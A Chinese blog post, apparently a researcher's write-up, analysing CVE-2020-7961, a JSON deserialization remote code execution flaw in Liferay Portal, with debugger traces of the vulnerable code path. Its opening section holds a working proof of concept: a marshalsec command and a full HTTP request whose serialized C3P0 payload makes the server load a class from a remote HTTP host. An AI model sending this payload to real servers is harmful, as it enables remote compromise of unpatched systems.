7

CVE-2020-7961 Liferay Portal 反序列化RCE分析

 3 years ago
source link: https://y4er.com/post/cve-2020-7961-liferay-portal-rce/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client
3 min read

CVE-2020-7961 Liferay Portal 反序列化RCE分析

2020-03-29

Code White 公开了 Liferay Portal JSON反序列化RCE漏洞,攻击者可以发送payload到服务器造成远程代码执行。

2020/3/24日,陈师傅在推特上转发了一篇文章,在该文中Code White 公开了 Liferay Portal JSON反序列化RCE漏洞,攻击者可以发送payload到服务器造成远程代码执行,本文是对其的分析。

Liferay Portal 6.1、6.2、7.0、7.1、7.2

下载 https://github.com/liferay/liferay-portal/releases/tag/7.2.0-ga1 tomcat集成包

生成poc

java -cp target\marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Jackson C3P0WrapperConnPool http://127.0.0.1:8989/ Exp

本地起http托管Exp.class,请求包

POST /api/jsonws/invoke HTTP/1.1
Host: php.local:8080
Content-Length: 1355
Content-Type: application/x-www-form-urlencoded
Connection: close

cmd=%7B%22%2Fexpandocolumn%2Fadd-column%22%3A%7B%7D%7D&p_auth=o3lt8q1F&formDate=1585270368703&tableId=1&name=2&type=3&defaultData%3Acom.mchange.v2.c3p0.WrapperConnectionPoolDataSource=%7B%22userOverridesAsString%22%3A%22HexAsciiSerializedMap%3Aaced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a7070707070707070707078740003457870740016687474703a2f2f3132372e302e302e313a383938392f740003466f6f%3B%22%7D

本地起http服务放Exp.class,弹出计算器。

image

先用一句话概括整个漏洞:在身份认证拒绝之前就反序列化了传入的json Object。

调试tomcat

为了方便调试,需要配置下tomcat远程调试,修改liferay-ce-portal-7.2.0-ga1\tomcat-9.0.17\bin\catalina.bat,首行加入

set JAVA_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=8001

idea配置远程tomcat

image

image

运行如图就表示debug成功

image

Liferay Portal的JSON API

Liferay Portal 提供了一些api,访问 http://127.0.0.1:8080/api/jsonws 可以看到这些方法。这些方法有几种调用形式:

  1. 通过 http://127.0.0.1:8080/api/jsonws/invoke 将要调用的方法和参数通过POST传递调用
  2. 通过url的形式调用/api/jsonws/service-class-name/service-method-name

更多可以移步官方文档

接下来我们分析下整个api的调度流程。 在web.xml中存在一条API的映射规则/api/jsonws/*

image

其对应的类为 com.liferay.portal.jsonwebservice.JSONWebServiceServlet

image

这个类是一个servlet,继承了自己实现的JSONServlet接口

image

在service方法中,JSONWS_WEB_SERVICE_API_DISCOVERABLE用来决定API页面是否展示所有的json web服务,其定义在portal.properties中的jsonws.web.service.api.discoverable属性。

如果JSONWS_WEB_SERVICE_API_DISCOVERABLE为真,并且path为空或者/也就是访问http://127.0.0.1:8080/api/jsonws或者http://127.0.0.1:8080/api/jsonws/就会列出所有的api列表。

image

当我们通过invoke调用方法时,进入else分支,进入到其父类 JSONServletservice()

image

进入com.liferay.portal.struts.JSONAction#execute

image

在rerouteExecute()中会重新检查访问的path,进而checkAuthToken()鉴权,然后通过getJSON()从request获取传入的json

image

因为并没有传入servletContextName参数,返回false,进入checkAuthToken()

image

authType为空,直接return,进而进入了com.liferay.portal.jsonwebservice.JSONWebServiceServiceAction#getJSON

image

没有上传异常,进入getJSONWebServiceAction()

image

返回了一个JSONWebServiceInvokerAction对象,然后进入JSONWebServiceInvokerAction.invoke(),在invoke的第一行反序列化了this._command

image

this._command是在自身的构造方法中通过传入的cmd参数赋值

image

漏洞的反序列化点,并不是传入的cmd参数。

接下来就是通过传入的cmd参数来调用不同的api方法

image

这一块是为了实现批量调用API方法,可以看官方的文档

接下来是_parseStatement获取传入的api方法 _executeStatement执行

image

_parseStatement时为了兼容传入[]列表批量调用,参考文档嵌套服务调用

image

折叠的代码块中就是实现嵌套的代码,在exp中,我们只传入了cmd={"/expandocolumn/add-column":{}},所以statement.setMethod(assignment.trim())/expandocolumn/add-column之后进入while就return了。

再来看_executeStatement()

image

getJSONWebServiceAction()最后返回的是一个JSONWebServiceActionImpl实例

public JSONWebServiceAction getJSONWebServiceAction(HttpServletRequest httpServletRequest, String path, String method, Map<String, Object> parameterMap) throws NoSuchJSONWebServiceException {
    JSONWebServiceActionParameters jsonWebServiceActionParameters = new JSONWebServiceActionParameters();
    jsonWebServiceActionParameters.collectAll(httpServletRequest, (String)null, (JSONRPCRequest)null, parameterMap);
    JSONWebServiceActionConfig jsonWebServiceActionConfig = this._findJSONWebServiceAction(httpServletRequest, path, method, jsonWebServiceActionParameters);
    return new JSONWebServiceActionImpl(jsonWebServiceActionConfig, jsonWebServiceActionParameters, this._jsonWebServiceNaming);
}

然后进入com.liferay.portal.jsonwebservice.JSONWebServiceActionImpl#invoke

image

进入_invokeActionMethod()

image

分别获取Object、Method、actionClass,然后通过_prepareParameters()获取参数,这个函数也是漏洞关键的函数。

_prepareParameters()中,首先通过反射拿到所有的参数

image

for遍历拿到参数名并处理参数值,当参数值不为空时,会进行类型转换。

Class<?> parameterType = methodParameters[i].getType();
String parameterTypeName = this._jsonWebServiceActionParameters.getParameterTypeName(parameterName);
if (parameterTypeName != null) {
    ClassLoader classLoader = actionClass.getClassLoader();
    parameterType = classLoader.loadClass(parameterTypeName);
    if (!ReflectUtil.isTypeOf(parameterType, methodParameters[i].getType())) {
        throw new IllegalArgumentException(StringBundler.concat(new Object[]{"Unmatched argument type ", parameterType.getName(), " for method argument ", i}));
    }
}

通过反射判断api方法参数和传入的参数类型是否一致,如果一致继续运行

if (value.equals(Void.TYPE)) {
    parameterValue = this._createDefaultParameterValue(parameterName, parameterType);
} else {
    parameterValue = this._convertValueToParameterValue(value, parameterType, methodParameters[i].getGenericTypes());
    ServiceContext serviceContext = this._jsonWebServiceActionParameters.getServiceContext();
    if (serviceContext != null && parameterName.equals("serviceContext")) {
        if (parameterValue != null && parameterValue instanceof ServiceContext) {
            serviceContext.merge((ServiceContext)parameterValue);
        }

        parameterValue = serviceContext;
    }
}

根据参数类型来进入无参函数_createDefaultParameterValue()或有参函数_convertValueToParameterValue(),在_convertValueToParameterValue()中通过json反序列化传入的参数值,赋值给parameterValue。

private Object _convertValueToParameterValue(Object value, Class<?> parameterType, Class<?>[] genericParameterTypes) {
    Object parameterValue;
    String valueString;
    List list;
    if (parameterType.isArray()) {
        if (parameterType.isInstance(value)) {
            return value;
        } else {
            parameterValue = null;
            if (value instanceof List) {
                list = (List)value;
            } else {
                valueString = value.toString();
                valueString = valueString.trim();
                if (!valueString.startsWith("[")) {
                    valueString = "[".concat(valueString).concat("]");
                }

                list = (List)JSONFactoryUtil.looseDeserialize(valueString, ArrayList.class);
            }

            return this._convertListToArray(list, parameterType.getComponentType());
        }
    } else if (Enum.class.isAssignableFrom(parameterType)) {
        return Enum.valueOf(parameterType, value.toString());
    } else if (parameterType.equals(Calendar.class)) {
        Calendar calendar = Calendar.getInstance();
        calendar.setLenient(false);
        valueString = value.toString();
        valueString = valueString.trim();
        long timeInMillis = GetterUtil.getLong(valueString);
        calendar.setTimeInMillis(timeInMillis);
        return calendar;
    } else if (Collection.class.isAssignableFrom(parameterType)) {
        parameterValue = null;
        if (value instanceof List) {
            list = (List)value;
        } else {
            valueString = value.toString();
            valueString = valueString.trim();
            if (!valueString.startsWith("[")) {
                valueString = "[".concat(valueString).concat("]");
            }

            list = (List)JSONFactoryUtil.looseDeserialize(valueString, ArrayList.class);
        }

        return this._generifyList(list, genericParameterTypes);
    } else if (parameterType.equals(Locale.class)) {
        String valueString = value.toString();
        valueString = valueString.trim();
        return LocaleUtil.fromLanguageId(valueString);
    } else if (parameterType.equals(Map.class)) {
        parameterValue = null;
        Map map;
        if (value instanceof Map) {
            map = (Map)value;
        } else {
            valueString = value.toString();
            valueString = valueString.trim();
            map = (Map)JSONFactoryUtil.looseDeserialize(valueString, HashMap.class);
        }

        return this._generifyMap(map, genericParameterTypes);
    } else {
        parameterValue = null;

        try {
            parameterValue = this._convertType(value, parameterType);
        } catch (Exception var9) {
            if (value instanceof Map) {
                try {
                    parameterValue = this._createDefaultParameterValue((String)null, parameterType);
                } catch (Exception var8) {
                    ClassCastException cce = new ClassCastException(var9.getMessage());
                    cce.addSuppressed(var8);
                    throw cce;
                }

                BeanCopy beanCopy = BeanCopy.beans(value, parameterValue);
                beanCopy.copy();
            } else {
                String valueString = value.toString();
                valueString = valueString.trim();
                if (!valueString.startsWith("{")) {
                    throw new ClassCastException(var9.getMessage());
                }

                parameterValue = JSONFactoryUtil.looseDeserialize(valueString, parameterType);
            }
        }

        return parameterValue;
    }
}

分别判断是否是Array、Enum、Calendar、Collection、Locale,如果都不是

image

判断不是map实例并且是以{开头就反序列化JSONFactoryUtil.looseDeserialize(valueString, parameterType),如果parameterType可控,那么就会造成反序列化漏洞。

可控parameterType

api的调用基本了解之后,看下漏洞产生的点,根据原作者的思路,在整个jsonwebservice中,只有上文的JSONFactoryUtil.looseDeserialize(valueString, parameterType)反序列化对象的类是可变的,具体可不可控还需要来看com.liferay.portal.jsonwebservice.JSONWebServiceActionParametersMap#put

image

put方法中,当参数传入:时,会将_parameterTypes赋值为截取的key、typeName组成的hashmap,从而上文中的parameterType可控,进而造成反序列化,而这个功能其实是为了传入Object对象。在127.0.0.1:8080/api/jsonws中搜索Object参数类型,发现多个api均可传入Object。

比如:/expandocolumn/update-column

image

寻找gadget

有反序列化点之后我们还要找到可用的gadget

image

C3P0v0.9.5.3,虽然ysoserial标的是0.9.5.2,但是@l1nk3r师傅在这篇文章中也测试了0.9.5.5都可用。

这个洞来来回回折腾了几天,还是自己太菜了,分析完这个洞,觉得只有真正了解了代码的功能,才能进一步深入挖到漏洞。

最后感谢给与帮助的sky@iiusky、chybeta、r4v3zn、ximcx师傅!另寻找一起学Java审计的小伙伴!

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK